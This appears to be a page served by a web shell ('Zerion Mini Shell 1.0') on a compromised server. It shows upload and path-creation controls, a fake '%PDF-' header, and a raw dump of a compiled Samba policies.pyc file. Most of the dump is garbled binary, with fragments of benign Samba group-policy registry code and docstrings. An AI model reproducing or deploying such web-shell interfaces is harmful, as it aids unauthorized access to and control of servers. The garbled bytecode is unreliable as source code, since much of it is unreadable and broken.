%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/samba/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/samba/__pycache__/policies.cpython-312.pyc

�

�I�d�:���ddlZddlmZddlZddlmZmZddlmZddl	m
Z
ddlmZm
Z
mZddlmZddlmZdd	lmZdd
lmZmZmZmZddlmZddlmZdd
lmZddlm Z ddl!m"Z"m#Z#m$Z$m%Z%dZ&Gd�de'�Z(y)�N)�StringIO)�
ndr_unpack�ndr_pack)�preg)�
netcmd_finddc)�create_directory_hier�smb_connection�
get_gpo_dn)�
NTSTATUSError)�Number)�str_regtype)�NT_STATUS_OBJECT_NAME_INVALID�NT_STATUS_OBJECT_NAME_NOT_FOUND�NT_STATUS_OBJECT_PATH_NOT_FOUND�NT_STATUS_INVALID_PARAMETER)�GPTIniParser)�
get_string)�security)�dsacl2fsacl)�
REG_BINARY�REG_MULTI_SZ�REG_SZ�GUIDz
[General]
Version=0
c�r�eZdZdd�Zd�Zd�Zd�Zdd�Zd�Zd�Z	d	�Z
d
�Zdd�Zd�Z
d
�Zd�Zd�Zd�Zd�Zy)�RegistryGroupPoliciesNc��||_||_||_||_|jj	d�}dj|j
�d|dg�|_dj|jdg�|_t|j|j�|_
|r|jd�r|dd}n t|j|j�}t|d|j|j�	�|_tj tj"ztj$z}|jj'|jt(j*d
g��d}	|	d
d}
t-tj.|
�j1�}tj2|jj5��}t7||�}
tj.j9|
|�|_y)
N�realm�\�Policiesz%szRegistry.polzldap://��sysvol)�lp�creds�nTSecurityDescriptor��base�scope�attrsr)�gpor"r#�samdb�get�join�lower�pol_dir�pol_filer
�	policy_dn�
startswithrr	�connr�
SECINFO_OWNER�
SECINFO_GROUP�SECINFO_DACL�search�ldb�
SCOPE_BASEr�
descriptor�as_sddl�dom_sid�get_domain_sidr�	from_sddl�fs_sd)�selfr)r"r#r*�hostr�dc_hostname�ds_sd_flags�msg�	ds_sd_ndr�ds_sd�
domain_sid�sddls              �0/usr/lib/python3/dist-packages/samba/policies.py�__init__zRegistryGroupPolicies.__init__3s�����������
���
������G�$���y�y�%�+�+�-��S�$�!G�H����	�	�4�<�<��"@�A��
�#�D�J�J����9����D�O�O�I�.��q�r�(�K�'�������<�K�"�;�#+�&*�g�g�)-���5��	� �-�-��-�-�.��,�,�-���j�j���T�^�^�3�>�>�'=�&>� �@�@A�C���.�/��2�	��8�.�.�	�:�B�B�D���%�%�d�j�j�&?�&?�&A�B�
��5�*�-���(�(�2�2�4��D��
�c��	ttj|jj	|��}|S#t
$rA}|jdtttfvrtj�}n�Yd}~|Sd}~wwxYw)Nr)
rr�filer2�loadfiler�argsrrr)r?r/�pol_data�es    rH�__load_registry_polz)RegistryGroupPolicies.__load_registry_polUsy��	�!�$�)�)�T�Y�Y�-?�-?��-I�J�H�����	��v�v�a�y�:�<�<�>�>� �9�9�;�������	�s�37�	B�6A<�<Bc��t|j|�|jj||�|jj||j�y�N)rr2�savefile�set_aclr>)r?�file_dir�	file_name�datas    rH�__save_filez!RegistryGroupPolicies.__save_fileas<���d�i�i��2��	�	���9�d�+��	�	���)�T�Z�Z�0rJc�<�|j||t|��yrS)�!_RegistryGroupPolicies__save_filer)r?r.r/rOs    rH�__save_registry_polz)RegistryGroupPolicies.__save_registry_polfs������(�H�X�,>�?rJc��t|�tk7rtd��|D]^}t|�tk7rtd��gd�}|s|j	ddg�t|D�cgc]}||v��c}�r�Utd��ycc}w)NzJSON not formatted correctly)�keyname�	valuename�classrX�type)ra�list�SyntaxError�dict�extend�all)r?�
json_input�remove�entry�keys�ks      rH�__validate_jsonz%RegistryGroupPolicies.__validate_jsonis����
��t�#��<�=�=��	B�E��E�{�d�"�!�"@�A�A�4�D�����V�V�,�-��D�1�q��U�
�1�2�!�"@�A�A�	B��2s�"B
c��t|dt�r|dStd�D]%}t|�|dj	�k(s�#|cStd|dz��)Nra�zUnknown type %s)�
isinstancer�ranger
�upper�	TypeError)r?ri�is   rH�__determine_data_typez+RegistryGroupPolicies.__determine_data_typeusb���e�F�m�V�,���=� ��2�Y�
���q�>�U�6�]�%8�%8�%:�:��H�
��)�E�&�M�9�:�:rJc�*�|tk(rt|�tk(rt|�S|tk(r7t|�tk(r%dj|�dz}|j
d�S|tk(r#t|�tk(r|j
d�S|S)N�zz	utf-16-le�utf-8)	rrarb�bytesrr,�encoder�str)r?�rtyperXs   rH�
__set_dataz RegistryGroupPolicies.__set_data~sz���J��4��:��#5���;��
�l�
"�t�D�z�T�'9��=�=��&��3�D��;�;�{�+�+�
�f�_��d��s�!2��;�;�w�'�'��rJc��|jD]M}|j|dk(s�|j|dk(s�)|j|j|d�|_yt
j�}|d|_|d|_|j|�|_|j|j|d�|_t|j�}|j|�||_t|�|_y)Nr^r_rX)
�entriesr^r_� _RegistryGroupPolicies__set_datararXrri�+_RegistryGroupPolicies__determine_data_typerb�append�len�num_entries)r?rOrirPr~s     rH�
__pol_replacez#RegistryGroupPolicies.__pol_replace�s����!�!�	0�A��y�y�E�)�,�,��{�{�e�K�0�0��������v��?����		0��
�
��A��i�(�A�I���,�A�K��/�/��6�A�F��_�_�Q�V�V�U�6�]�;�A�F��8�+�+�,�G��N�N�1��&�H��#&�w�<�H� rJc���g}|jD]8}|j|dk(r|j|dk(r�(|j|��:||_t	|�|_y)Nr^r_)r~r^r_r�r�r�)r?rOrir~rPs     rH�__pol_removez"RegistryGroupPolicies.__pol_remove�s`�����!�!�	"�A��I�I��y�!1�1��K�K�5��#5�5����q�!�	"�#���"�7�|��rJc��|s|sy|jdz}	|jj|�}t�}|j|�d}d}d}	|jjdd�r>t|jjdd�jd��}|dz}|dz	}	|r|dz
}|r|	dz
}	|	dz|z}|jj!d�s|jj#d�|jj%ddt'|��t)�5}
|jj+|
�|
j-d�|j/|jd	z||
j1�jd��ddd�t3j4�}|j6|_t3j:t'|�t2j<d
�|d<|j>jA|�y#t$r3}|jdt
ttfvrt}n�Yd}~��d}~wwxYw#1swY��xYw)NzGPT.INIr�General�Versionrwi������
versionNumber�	new_value)!r.r2rMrrNrrr�	GPT_EMPTYr�parse�ini_conf�
has_option�intr+ry�has_section�add_section�setrzr�write�seekr[�readr7�Messager0�dn�MessageElement�FLAG_MOD_REPLACEr*�modify)r?�machine_changed�user_changed�GPT_INIrXrP�parser�version�machine_version�user_version�out_data�ms            rH�increment_gpt_iniz'RegistryGroupPolicies.increment_gpt_ini�s���|���,�,��*��	��9�9�%�%�g�.�D�������T���������?�?�%�%�i��;��&�/�/�-�-�i�.7�9�9?����J�G�%�
�2�O�"�b�=�L���q� �O���A��L��2�%��8�����*�*�9�5��O�O�'�'�	�2������I�y�#�g�,�?�
�Z�	>�8��O�O�!�!�(�+��M�M�!�����T�\�\�B�.��%�]�]�_�3�3�G�<�
>�	>�
�K�K�M���~�~����+�+�C��L�#�:N�:N�,;�=��+���
�
���!���M�	��v�v�a�y�:�<�<�>�>�!�����		��6	>�	>�s$�H�(A*I�	I�(I�I�Ic��	t|�}|dvrtd��d|zS#tj$r'}|jdtk(rtd���d}~wwxYw)Nrz&Extension name not formatted correctly)�gPCMachineExtensionNames�gPCUserExtensionNameszExtension attribute incorrectz{%s})r�sambarrNrrc)r?�ext_name�ext_attr�
ext_name_guidrPs     rH�!__validate_extension_registrationz7RegistryGroupPolicies.__validate_extension_registration�sn��	� ��N�M�
�5�5��=�>�>��
�%�%���"�"�	��v�v�a�y�7�7�!�"J�K�K���	�s�!�A�"A�Ac��|j||�}|jj|jtj
|g��}t
|�dk(s||dvrd}nt|d|d�}||vrd|jd�z|zdz}nyt	j�}|j|_
t	j|tj|�|d<|jj|�y)Nr%rz[]����[�]r�)�7_RegistryGroupPolicies__validate_extension_registrationr*r6r0r7r8r�r�stripr�r�r�r�r��r?r�r��res�	ext_namesr�s      rH�register_extension_namez-RegistryGroupPolicies.register_extension_name�s����9�9�(�H�M���j�j���T�^�^�3�>�>�'/�j� �2���s�8�q�=�H�C��F�2��I�"�3�q�6�(�#3�B�#7�8�I��9�$��i�o�o�d�3�3�h�>��D�I���K�K�M���~�~����+�+�I�s�7K�7K�,4�6��+���
�
���!�rJc���|j||�}|jj|jtj
|g��}t
|�dk(s||dvryt|d|d�}||vr|j|d�}nyt	j�}|j|_
t	j|tj|�|d<|jj|�y)Nr%rr�r�r�)r�r*r6r0r7r8r�r�replacer�r�r�r�r�r�s      rH�unregister_extension_namez/RegistryGroupPolicies.unregister_extension_name�s����9�9�(�H�M���j�j���T�^�^�3�>�>�'/�j� �2���s�8�q�=�H�C��F�2��"�3�q�6�(�#3�B�#7�8�I��y� �!�)�)�(�B�7�I���K�K�M���~�~����+�+�I�s�7K�7K�,4�6��+���
�
���!�rJc�8�|j|d��|j|jdz�}|j|jdz�}d}d}|D]R}|dj�}|dk(s|dk(rd}|j	||�|d	k(s|dk(s�?d}|j	||��T|r-|j|jdz|jdz|�|r-|j|jdz|jdz|�|j||�y
)a�remove_s
        json_input: JSON list of entries to remove from GPO

        Example json_input:
        [
            {
                "keyname": "Software\Policies\Mozilla\Firefox\Homepage",
                "valuename": "StartPage",
                "class": "USER",
            },
            {
                "keyname": "Software\Policies\Mozilla\Firefox\Homepage",
                "valuename": "URL",
                "class": "USER",
            },
        ]
        T)rh�User�MachineFr`�machine�both�userN)�%_RegistryGroupPolicies__validate_json�)_RegistryGroupPolicies__load_registry_polr/r-�"_RegistryGroupPolicies__pol_remove�)_RegistryGroupPolicies__save_registry_polr.r��r?rg�
user_pol_data�machine_pol_datar�r�ri�clss        rH�remove_szRegistryGroupPolicies.remove_ss'��$	
���Z���5��0�0�����1G�H�
��3�3�D�M�M�I�4M�N�������	8�E���.�&�&�(�C��i��3�&�=�"&���!�!�"2�E�:��f�}��v�
�#���!�!�-��7�	8���$�$�T�\�\�F�%:�%)�]�]�V�%;�%2�
4���$�$�T�\�\�I�%=�%)�]�]�Y�%>�%5�
7�	
�����=rJc�4�|j|�|j|jdz�}|j|jdz�}d}d}|D]R}|dj�}|dk(s|dk(rd}|j	||�|dk(s|dk(s�?d}|j	||��T|r-|j|jdz|jdz|�|r-|j|jdz|jdz|�|j||�y	)
admerge_s
        json_input: JSON list of entries to merge into GPO

        Example json_input:
        [
            {
                "keyname": "Software\Policies\Mozilla\Firefox\Homepage",
                "valuename": "StartPage",
                "class": "USER",
                "type": "REG_SZ",
                "data": "homepage"
            },
            {
                "keyname": "Software\Policies\Mozilla\Firefox\Homepage",
                "valuename": "URL",
                "class": "USER",
                "type": "REG_SZ",
                "data": "google.com"
            },
        ]
        r�r�Fr`r�r�Tr�N)r�r�r/r-�#_RegistryGroupPolicies__pol_replacer�r.r�r�s        rH�merge_szRegistryGroupPolicies.merge_s-s"��,	
���Z�(��0�0�����1G�H�
��3�3�D�M�M�I�4M�N�������	9�E���.�&�&�(�C��i��3�&�=�"&���"�"�#3�U�;��f�}��v�
�#���"�"�=�%�8�	9���$�$�T�\�\�F�%:�%)�]�]�V�%;�%2�
4���$�$�T�\�\�I�%=�%)�]�]�Y�%>�%5�
7�	
�����=rJc��|j|�tj�}tj�}d}d}|D]R}|dj�}|dk(s|dk(rd}|j	||�|dk(s|dk(s�?d}|j	||��T|r-|j|jdz|jdz|�|r-|j|jdz|jdz|�|j||�y	)
a*replace_s
        json_input: JSON list of entries to replace entries in GPO

        Example json_input:
        [
            {
                "keyname": "Software\Policies\Mozilla\Firefox\Homepage",
                "valuename": "StartPage",
                "class": "USER",
                "data": "homepage"
            },
            {
                "keyname": "Software\Policies\Mozilla\Firefox\Homepage",
                "valuename": "URL",
                "class": "USER",
                "data": "google.com"
            },
        ]
        Fr`r�r�Tr�r�r�N)	r�rrLr-r�r�r.r/r�r�s        rH�	replace_szRegistryGroupPolicies.replace_s[s��(	
���Z�(��	�	��
��9�9�;�������	9�E���.�&�&�(�C��i��3�&�=�"&���"�"�#3�U�;��f�}��v�
�#���"�"�=�%�8�	9���$�$�T�\�\�F�%:�%)�]�]�V�%;�%2�
4���$�$�T�\�\�I�%=�%)�]�]�Y�%>�%5�
7�	
�����=rJrS)F)FF)�__name__�
__module__�__qualname__rIr�r[r�r�r�rr�r�r�r�r�r�r�r�r��rJrHrr2sY�� E�D
�1�
@�
B�;�	�0�",�,�\
&��&�&(>�T,>�\*>rJr))�json�iorr7�	samba.ndrrr�samba.dcerpcr�samba.netcmd.commonr�samba.netcmd.gpcommonrr	r
r�r�numbersr�samba.registryr
�samba.ntstatusrrrr�samba.gp_parse.gp_inir�samba.commonrr�samba.ntaclsr�samba.dcerpc.miscrrrrr��objectrr�rJrH�<module>r�sd��$��
�*��-���
 ��&���/�#�!�$�D�D��
�S>�F�S>rJ

Zerion Mini Shell 1.0